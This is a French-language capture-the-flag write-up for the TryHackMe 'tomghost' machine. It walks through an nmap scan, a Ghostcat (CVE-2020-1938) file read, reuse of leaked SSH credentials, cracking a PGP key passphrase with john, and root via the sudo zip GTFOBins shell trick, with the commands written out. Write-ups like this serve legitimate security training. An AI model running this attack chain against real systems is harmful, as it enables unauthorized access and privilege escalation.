tomghost - TryHackMe

Identify recent vulnerabilities to try exploit the system or read files that you should not have access to.

tomghost - TryHackMe

Difficulté : Facile

Reconnaissance

On commences donc par réaliser un scan nmap avec l'option -A qui active la détection du système d'exploitation, la détection de la version, l'analyse des scripts et le traceroute.

$ nmap -A 10.10.52.86

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA) | 256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA) |_ 256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)

53/tcp open tcpwrapped

8009/tcp open ajp13 Apache Jserv (Protocol v1.3) | ajp-methods: |_ Supported methods: GET HEAD POST OPTIONS

8080/tcp open http Apache Tomcat 9.0.30 |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/9.0.30 |_http-open-proxy: Proxy might be redirecting requests Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On remarque donc sur le port 8009 un service ouvert appelé ajp13 Au vu du nom de la machine, on va devoir exploiter une vulnérabilité de Apache Tomcat. Avec quelques recherches, on tombe rapidement sur la CVE-2020-1938 'Ghostcat'. Un exploit pour cette vulnérabilité est disponible sur ce Github

Les serveurs Apache Tomcat ont par défaut un fichier /WEB-INF/web.xml. On vas donc chercher à lire ce fichier avec l'exploit.

$ python3 ajpShooter.py http://10.10.52.86:8080 8009 /WEB-INF/web.xml read

Dans ce fichier, on trouve ce qui semble être un compte :

Welcome to GhostCat skyfuck:[redacted]

On vas donc chercher à se connecter avec ces identifiants au serveur en SSH, et ça fonctionne. Une fois connecté, on trouve 2 fichiers dans le répertoire home de l'utilisateur : credential.pgp et tryhackme.asc.

  • credential.pgp est un fichier binaire.
  • tryhackme.asc est une clé privée PGP.

1. Compromise this machine and obtain user.txt

Pour trouver le fichier user.txt, je ne me complique pas la vie et j'utilise la commande find. Nos droits nous permettent de lire le fichier, on peut donc afficher le flag et le valider.

$ find / -type f -name "user.txt" 2>/dev/null /home/merlin/user.txt

$ cat /home/merlin/user.txt [redacted]

2. Escalate privileges and obtain root.txt

La clé privée précedemment trouvée n'est surement pas là par hasard. Je décide donc de la récupérer sur mon poste.

$ scp skyfuck@10.10.52.86:/home/skyfuck/* .

Une fois récupérer, on passe la clé dans John. Pour cela, on doit au préalable utiliser l'outil gpg2john.

$ gpg2john tryhackme.asc > gpgjohn

$ john --wordlist=/usr/share/wordlists/rockyou.txt gpgjohn [redacted]

On obtiens donc le mot de passe permettant de déchiffrer le fichier pgp. On doit au préalable importer la clé.

$ gpg --import tryhackme.asc

On confirme avec le mot de passe trouvé précedemment. Une fois importée, on peut déchiffrer le fichier pgp.

$ gpg -d credential.pgp

gpg: Attention : l'algorithme de chiffrement CAST5 est introuvable dans les préférences du destinataire

gpg: chiffré avec une clef ELG de 1024 bits, identifiant 61E104A66184FBCC, créée le 2020-03-11

« tryhackme stuxnet@tryhackme.com »

merlin:[redacted]

Naturellement, avec ces identifiants, on peut ouvrir une session SSH.

L'objectif est maintenant d'obtenir le contenu du fichier root.txt.

La première étape est de vérifier le sudo -l :

merlin@ubuntu:~$ sudo -l

Matching Defaults entries for merlin on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu: (root : root) NOPASSWD: /usr/bin/zip

On peut donc utiliser le binaire /usr/bin/zip en tant que root. En faisant un petit tour sur GTFOBins, on se rend compte qu'on a la possibilité d'élever nos privilèges. En suivant la procédure, on passe root et on peut donc afficher le fichier root.txt.

merlin@ubuntu:~$ TF=$(mktemp -u) merlin@ubuntu:~$ sudo zip $TF /etc/hosts -T -TT 'sh #' adding: etc/hosts (deflated 31%)

#id uid=0(root) gid=0(root) groups=0(root)

#cat /root/root.txt THM{[redacted]}

Happy Hacking ! 🎉